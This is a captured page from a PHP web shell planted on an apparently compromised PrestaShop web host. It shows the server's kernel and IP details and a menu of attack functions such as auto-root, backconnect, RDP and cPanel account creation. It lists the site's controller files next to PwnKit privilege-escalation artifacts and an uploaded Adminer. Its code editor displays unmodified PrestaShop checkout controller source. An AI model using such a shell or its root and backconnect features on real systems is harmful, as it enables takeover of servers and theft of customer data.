Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
controllers /
front /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
listing
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
AddressController.php
5.44
KB
-rw----r--
AddressesController.php
2.57
KB
-rw----r--
AttachmentController.php
2.69
KB
-rw----r--
AuthController.php
4.47
KB
-rw----r--
CartController.php
25.16
KB
-rw----r--
ChangeCurrencyController.php
1.58
KB
-rw----r--
CmsController.php
8.03
KB
-rw----r--
ContactController.php
1.73
KB
-rw----r--
DiscountController.php
6.28
KB
-rw----r--
GetFileController.php
15.32
KB
-rw----r--
GuestTrackingController.php
5.63
KB
-rw----r--
HistoryController.php
4.01
KB
-rw----r--
IdentityController.php
3.18
KB
-rw----r--
IndexController.php
1.47
KB
-rw----r--
MyAccountController.php
1.82
KB
-rw----r--
OrderConfirmationController.ph...
5.33
KB
-rw----r--
OrderController.php
11.8
KB
-rw----r--
OrderDetailController.php
9.76
KB
-rw----r--
OrderFollowController.php
5.51
KB
-rw----r--
OrderReturnController.php
6.72
KB
-rw----r--
OrderSlipController.php
3.61
KB
-rw----r--
PageNotFoundController.php
2.03
KB
-rw----r--
PasswordController.php
12.31
KB
-rw----r--
PdfInvoiceController.php
2.85
KB
-rw----r--
PdfOrderReturnController.php
2.49
KB
-rw----r--
PdfOrderSlipController.php
2.13
KB
-rw----r--
ProductController.php
62.44
KB
-rw----r--
SitemapController.php
6.22
KB
-rw----r--
StatisticsController.php
3.28
KB
-rw----r--
StoresController.php
8.79
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderController.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Adapter\Product\PriceFormatter; use PrestaShop\PrestaShop\Core\Foundation\Templating\RenderableProxy; class OrderControllerCore extends FrontController { public $ssl = true; public $php_self = 'order'; public $page_name = 'checkout'; public $checkoutWarning = false; /** * @var CheckoutProcess */ protected $checkoutProcess; /** * @var CartChecksum */ protected $cartChecksum; /** * Initialize order controller. * * @see FrontController::init() */ public function init() { parent::init(); $this->cartChecksum = new CartChecksum(new AddressChecksum()); } public function postProcess() { parent::postProcess(); if (Tools::isSubmit('submitReorder') && $this->context->customer->isLogged() && $id_order = (int) Tools::getValue('id_order') ) { $oldCart = new Cart(Order::getCartIdStatic($id_order, $this->context->customer->id)); $duplication = $oldCart->duplicate(); if (!$duplication || !Validate::isLoadedObject($duplication['cart'])) { $this->errors[] = $this->trans('Sorry. We cannot renew your order.', [], 'Shop.Notifications.Error'); } elseif (!$duplication['success']) { $this->errors[] = $this->trans( 'Some items are no longer available, and we are unable to renew your order.', [], 'Shop.Notifications.Error' ); } else { $this->context->cookie->id_cart = $duplication['cart']->id; $context = $this->context; $context->cart = $duplication['cart']; CartRule::autoAddToCart($context); $this->context->cookie->write(); Tools::redirect('index.php?controller=order'); } } $this->bootstrap(); } /** * @return CheckoutProcess */ public function getCheckoutProcess() { return $this->checkoutProcess; } /** * @return CheckoutSession */ public function getCheckoutSession() { $deliveryOptionsFinder = new DeliveryOptionsFinder( $this->context, $this->getTranslator(), $this->objectPresenter, new PriceFormatter() ); $session = new CheckoutSession( $this->context, $deliveryOptionsFinder ); return $session; } protected function bootstrap() { $translator = $this->getTranslator(); $session = $this->getCheckoutSession(); $this->checkoutProcess = new CheckoutProcess( $this->context, $session ); $this->checkoutProcess ->addStep(new CheckoutPersonalInformationStep( $this->context, $translator, $this->makeLoginForm(), $this->makeCustomerForm() )) ->addStep(new CheckoutAddressesStep( $this->context, $translator, $this->makeAddressForm() )); if (!$this->context->cart->isVirtualCart()) { $checkoutDeliveryStep = new CheckoutDeliveryStep( $this->context, $translator ); $checkoutDeliveryStep ->setRecyclablePackAllowed((bool) Configuration::get('PS_RECYCLABLE_PACK')) ->setGiftAllowed((bool) Configuration::get('PS_GIFT_WRAPPING')) ->setIncludeTaxes( !Product::getTaxCalculationMethod((int) $this->context->cart->id_customer) && (int) Configuration::get('PS_TAX') ) ->setDisplayTaxesLabel((Configuration::get('PS_TAX') && !Configuration::get('AEUC_LABEL_TAX_INC_EXC'))) ->setGiftCost( $this->context->cart->getGiftWrappingPrice( $checkoutDeliveryStep->getIncludeTaxes() ) ); $this->checkoutProcess->addStep($checkoutDeliveryStep); } $this->checkoutProcess ->addStep(new CheckoutPaymentStep( $this->context, $translator, new PaymentOptionsFinder(), new ConditionsToApproveFinder( $this->context, $translator ) )); } /** * Persists cart-related data in checkout session. * * @param CheckoutProcess $process */ protected function saveDataToPersist(CheckoutProcess $process) { $data = $process->getDataToPersist(); $addressValidator = new AddressValidator($this->context); $customer = $this->context->customer; $cart = $this->context->cart; $shouldGenerateChecksum = false; if ($customer->isGuest()) { $shouldGenerateChecksum = true; } else { $invalidAddressIds = $addressValidator->validateCartAddresses($cart); if (empty($invalidAddressIds)) { $shouldGenerateChecksum = true; } } $data['checksum'] = $shouldGenerateChecksum ? $this->cartChecksum->generateChecksum($cart) : null; Db::getInstance()->execute( 'UPDATE ' . _DB_PREFIX_ . 'cart SET checkout_session_data = "' . pSQL(json_encode($data)) . '" WHERE id_cart = ' . (int) $cart->id ); } /** * Restores from checkout session some previously persisted cart-related data. * * @param CheckoutProcess $process */ protected function restorePersistedData(CheckoutProcess $process) { $cart = $this->context->cart; $customer = $this->context->customer; $rawData = Db::getInstance()->getValue( 'SELECT checkout_session_data FROM ' . _DB_PREFIX_ . 'cart WHERE id_cart = ' . (int) $cart->id ); $data = json_decode($rawData, true); if (!is_array($data)) { $data = []; } $addressValidator = new AddressValidator(); $invalidAddressIds = $addressValidator->validateCartAddresses($cart); // Build the currently selected address' warning message (if relevant) if (!$customer->isGuest() && !empty($invalidAddressIds)) { $this->checkoutWarning['address'] = [ 'id_address' => (int) reset($invalidAddressIds), 'exception' => $this->trans( 'Your address is incomplete, please update it.', [], 'Shop.Notifications.Error' ), ]; $checksum = null; } else { $checksum = $this->cartChecksum->generateChecksum($cart); } // Prepare all other addresses' warning messages (if relevant). // These messages are displayed when changing the selected address. $allInvalidAddressIds = $addressValidator->validateCustomerAddresses($customer, $this->context->language); $this->checkoutWarning['invalid_addresses'] = $allInvalidAddressIds; if (isset($data['checksum']) && $data['checksum'] === $checksum) { $process->restorePersistedData($data); } } public function displayAjaxselectDeliveryOption() { $cart = $this->cart_presenter->present( $this->context->cart, true ); ob_end_clean(); header('Content-Type: application/json'); $this->ajaxRender(Tools::jsonEncode([ 'preview' => $this->render('checkout/_partials/cart-summary', [ 'cart' => $cart, 'static_token' => Tools::getToken(false), ]), ])); } public function initContent() { if (Configuration::isCatalogMode()) { Tools::redirect('index.php'); } $this->restorePersistedData($this->checkoutProcess); $this->checkoutProcess->handleRequest( Tools::getAllValues() ); $presentedCart = $this->cart_presenter->present($this->context->cart, true); if (count($presentedCart['products']) <= 0 || $presentedCart['minimalPurchaseRequired']) { // if there is no product in current cart, redirect to cart page $cartLink = $this->context->link->getPageLink('cart'); Tools::redirect($cartLink); } $product = $this->context->cart->checkQuantities(true); if (is_array($product)) { // if there is an issue with product quantities, redirect to cart page $cartLink = $this->context->link->getPageLink('cart', null, null, ['action' => 'show']); Tools::redirect($cartLink); } $this->checkoutProcess ->setNextStepReachable() ->markCurrentStep() ->invalidateAllStepsAfterCurrent(); $this->saveDataToPersist($this->checkoutProcess); if (!$this->checkoutProcess->hasErrors()) { if ($_SERVER['REQUEST_METHOD'] !== 'GET' && !$this->ajax) { return $this->redirectWithNotifications( $this->checkoutProcess->getCheckoutSession()->getCheckoutURL() ); } } $this->context->smarty->assign([ 'checkout_process' => new RenderableProxy($this->checkoutProcess), 'cart' => $presentedCart, ]); $this->context->smarty->assign([ 'display_transaction_updated_info' => Tools::getIsset('updatedTransaction'), ]); parent::initContent(); $this->setTemplate('checkout/checkout'); } public function displayAjaxAddressForm() { $addressForm = $this->makeAddressForm(); if (Tools::getIsset('id_address') && ($id_address = (int) Tools::getValue('id_address'))) { $addressForm->loadAddressById($id_address); } if (Tools::getIsset('id_country')) { $addressForm->fillWith(['id_country' => Tools::getValue('id_country')]); } $stepTemplateParameters = []; foreach ($this->checkoutProcess->getSteps() as $step) { if ($step instanceof CheckoutAddressesStep) { $stepTemplateParameters = $step->getTemplateParameters(); } } $templateParams = array_merge( $addressForm->getTemplateVariables(), $stepTemplateParameters, ['type' => 'delivery'] ); ob_end_clean(); header('Content-Type: application/json'); $this->ajaxRender(Tools::jsonEncode([ 'address_form' => $this->render( 'checkout/_partials/address-form', $templateParams ), ])); } }
Close